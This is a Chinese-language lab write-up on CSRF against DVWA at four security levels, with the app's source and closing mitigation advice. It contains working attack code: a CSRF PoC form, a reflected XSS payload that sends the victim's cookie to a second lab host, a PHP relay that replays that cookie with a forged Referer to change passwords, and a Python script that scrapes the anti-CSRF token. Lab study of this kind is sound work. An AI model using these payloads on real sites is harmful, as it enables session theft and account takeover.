CSRF和SSRF

漏洞原理

CSRF(Cross-site request forgery,跨站请求伪造),其核心点在于伪装成用户向服务器发送请求,换句话说,就是以用户的身份做一些非法操作

使用cookie还是session来标识用户并不会对CSRF起到阻拦的作用,因为攻击者会构造好一个CSRF网页并诱导用户在登录状态下访问这个网页,

漏洞点判断

漏洞利用

CSRF的漏洞利用其实就是如何构造CSRF网页,burpsuite提供了一点帮助

dvwa

在完成基本的bp代理设置后,登录dvwa,然后找到csrf,在测试之前别忘记先设置security

dvwa给的是一个修改用户密码的例子,当输入新密码并提交,密码就会被修改。

所以漏洞利用的时候需要截取到修改密码的请求包,然后右键Engement tools选择Generate CSRF PoC即可生成对应的CSRF网页。

  • 环境:win10(攻击借用的服务器,ip:192.168.194.163)、kali 2022(靶机,ip:192.168.194.152)、kali 2022(攻击机,ip:192.168.194.160)

low level

源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];
    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }
    mysql_close();
}

?> 

这里直接往数据库中插入新密码,没有做任何防护

发出的请求:

GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change HTTP/1.1

Host: 192.168.194.152

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.194.152/vulnerabilities/csrf/

Cookie: BEEFHOOK=FO4SxDFcZoINlcxL0dAJHqCopHDMVeMRcTiuTAVQAaA9c1juvxE3PRpDZRRLdDGK7KvOroovLWjvqxqC; PHPSESSID=s7lnq7365juhl6pt8lcd9f9sc1; security=low

Upgrade-Insecure-Requests: 1

生成的CSRF-Poc网页:

<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://192.168.194.152/vulnerabilities/csrf/">
      <input type="hidden" name="password&#95;new" value="password" />

      <input type="hidden" name="password&#95;conf" value="password" />

      <input type="hidden" name="Change" value="Change" />

      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

这里做了一个表单,当访问这个页面,点击submit密码就会被修改,history.pushState('', '', '/')的含义是跳转到根,即http://192.168.194.152/

medium level

源码:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Checks to see where the request came from
    if( eregi( $_SERVER[ 'SERVER_NAME' ], $_SERVER[ 'HTTP_REFERER' ] ) ) {
        // Get input
        $pass_new  = $_GET[ 'password_new' ];
        $pass_conf = $_GET[ 'password_conf' ];
		
        // Do the passwords match?
        if( $pass_new == $pass_conf ) {
            // They do!
            $pass_new = mysql_real_escape_string( $pass_new );
            $pass_new = md5( $pass_new );

            // Update the database
            $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
            $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

            // Feedback for the user
            echo "<pre>Password Changed.</pre>";
        }
        else {
            // Issue with passwords matching
            echo "<pre>Passwords did not match.</pre>";
        }
    }
    else {
        // Didn't come from a trusted source
        echo "<pre>That request didn't look correct.</pre>";
    }

    mysql_close();
}
?> 

eregi是一个字符串搜索的函数,$_SERVER是PHP预定义变量之一,是一个包含了诸如头信息(header)、路径(path)及脚本位置(script locations)信息的数组,所以eregi部分是为了检查Referer中是否包含网站的域名。

也就是所这里做出的改变是请求头信息进行检查,检查请求头中是否有Referer信息,如果没有,那么就很可能是CSRF攻击。

注意到bp生成的poc却没有任何变化,因此需要自己写poc。先考虑js,但一般浏览器会禁止使用js设置Referer,所以得考虑其他方法–php

bp截获的能够修改密码的请求包和原来一致,但是php是服务器运行的,因此考虑先由客户端向另一台服务器发起一个请求,然后php获取cookie等信息并构造请求,该请求会被发送给目标服务器,从而达到修改密码的结果。

但问题又来了,此时的cookie不是dvwa的cookie,问题就转变成如何获取dvwa的cookie,而dvwa正好又有xss漏洞,所以可以来一波联动

反射型xss漏洞(Medium level)的代码

<Script>location.href="http://192.168.194.163/test/1.php?cookie="+document.cookie</Script>

将name后面的值经过url编码,由此得到恶意链接:

http://192.168.194.152/vulnerabilities/xss_r/?name=%3c%53%63%72%69%70%74%3e%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%39%34%2e%31%36%33%2f%74%65%73%74%2f%31%2e%70%68%70%3f%63%6f%6f%6b%69%65%3d%22%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%53%63%72%69%70%74%3e

1.php的代码为:

<?php
$cookie = $_GET['cookie'];
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, "http://192.168.194.152/vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change");

curl_setopt($ch, CURLOPT_REFERER, "http://192.168.194.152/vulnerabilities/csrf/");
var_dump($cookie);
curl_setopt($ch, CURLOPT_COOKIE, $cookie);

curl_exec($ch);

curl_close($ch);
$ch = curl_init();
echo $ch;

因此,此处直接诱导用户点击恶意链接即可修改用户密码。

high level

源码:

<?php
if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Do the passwords match?
    if( $pass_new == $pass_conf ) {
        // They do!
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update the database
        $insert = "UPDATE `users` SET password = '$pass_new' WHERE user = '" . dvwaCurrentUser() . "';";
        $result = mysql_query( $insert ) or die( '<pre>' . mysql_error() . '</pre>' );

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match.</pre>";
    }

    mysql_close();
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

high level使用了token,因此需要考虑如何伪造token,token是由服务器生成并发送给浏览器的,通过分析发现token出现在了html页面上,因此token应该是在访问index.php的时候产生并嵌入到了HTML页面中,使用简单的爬虫即可实现poc。

请求包:

GET /vulnerabilities/csrf/?password_new=password&password_conf=password&Change=Change&user_token=5f2abd45774f303a497f8e4682a60b81 HTTP/1.1

Host: 192.168.194.152

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:91.0) Gecko/20100101 Firefox/91.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh

Accept-Encoding: gzip, deflate

Connection: close

Referer: http://192.168.194.152/vulnerabilities/csrf/

Cookie: BEEFHOOK=FO4SxDFcZoINlcxL0dAJHqCopHDMVeMRcTiuTAVQAaA9c1juvxE3PRpDZRRLdDGK7KvOroovLWjvqxqC; PHPSESSID=ktmoe4k549tpn1slbdem1ldiq5; security=high

Upgrade-Insecure-Requests: 1

爬虫poc:

# -*- coding:utf-8 -*-
import requests
from lxml import etree

url = "http://192.168.194.152/vulnerabilities/csrf/index.php"

headers = {
    "Cookie": "BEEFHOOK=FO4SxDFcZoINlcxL0dAJHqCopHDMVeMRcTiuTAVQAaA9c1juvxE3PRpDZRRLdDGK7KvOroovLWjvqxqC; PHPSESSID=ktmoe4k549tpn1slbdem1ldiq5; security=high"

}

response = requests.get(url=url, headers=headers)

tree = etree.HTML(response.text)

user_token = tree.xpath("//input[@name='user_token']/@value")[0]

new_password = "password"

new_url = "http://192.168.194.152/vulnerabilities/csrf/?password_new={}&password_conf={}&Change=Change&user_token={}".format(
    new_password, new_password, user_token)

new_response = requests.get(url=new_url, headers=headers)


if new_response.text.rfind("Password Changed.") >= 0:
    print("密码修改成功")
else:
    print("密码修改失败")

显然,如果token太容易伪造,就很难起到防御CSRF的作用,因此token也常常被加密保护。

impossible level

源码:

<?php

if( isset( $_GET[ 'Change' ] ) ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $pass_curr = $_GET[ 'password_current' ];
    $pass_new  = $_GET[ 'password_new' ];
    $pass_conf = $_GET[ 'password_conf' ];

    // Sanitise current password input
    $pass_curr = stripslashes( $pass_curr );
    $pass_curr = mysql_real_escape_string( $pass_curr );
    $pass_curr = md5( $pass_curr );

    // Check that the current password is correct
    $data = $db->prepare( 'SELECT password FROM users WHERE user = (:user) AND password = (:password) LIMIT 1;' );
    $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
    $data->bindParam( ':password', $pass_curr, PDO::PARAM_STR );
    $data->execute();

    // Do both new passwords match and does the current password match the user?
    if( ( $pass_new == $pass_conf ) && ( $data->rowCount() == 1 ) ) {
        // It does!
        $pass_new = stripslashes( $pass_new );
        $pass_new = mysql_real_escape_string( $pass_new );
        $pass_new = md5( $pass_new );

        // Update database with new password
        $data = $db->prepare( 'UPDATE users SET password = (:password) WHERE user = (:user);' );
        $data->bindParam( ':password', $pass_new, PDO::PARAM_STR );
        $data->bindParam( ':user', dvwaCurrentUser(), PDO::PARAM_STR );
        $data->execute();

        // Feedback for the user
        echo "<pre>Password Changed.</pre>";
    }
    else {
        // Issue with passwords matching
        echo "<pre>Passwords did not match or current password incorrect.</pre>";
    }
}

// Generate Anti-CSRF token
generateSessionToken();

?> 

作为不可能被破解的level,首先继续检查token,然后在修改密码上面要求提供原有的密码,接着再后续的sql语句拼接上采用了PDO参数化查询,不仅有效防御了sql注入,而且提高了查询的效率

漏洞修复

  • 验证请求的Referer,看Referer是否包含网站的域名,在dvwa-medium-level中,由于使用的是ip,因此没有想到绕过Referer的方法

  • 在请求中构造无法被伪造的信息,然后服务器检查这个信息,如此就可以起到防御的作用。

    比如以参数的形式加入一个随机产生的token并在服务器端检验token是否正确

  • 从用户的角度出发可以对敏感的操作添加一个二次确认提示框或验证码,这样用户就会开始怀疑哪里出了问题

注意,在防范CSRF时,如果存在XSS漏洞没被修复,那么修复CSRF漏洞是没有意义的,因为攻击者可以通过XSS获取token、cookie或是其他敏感的信息。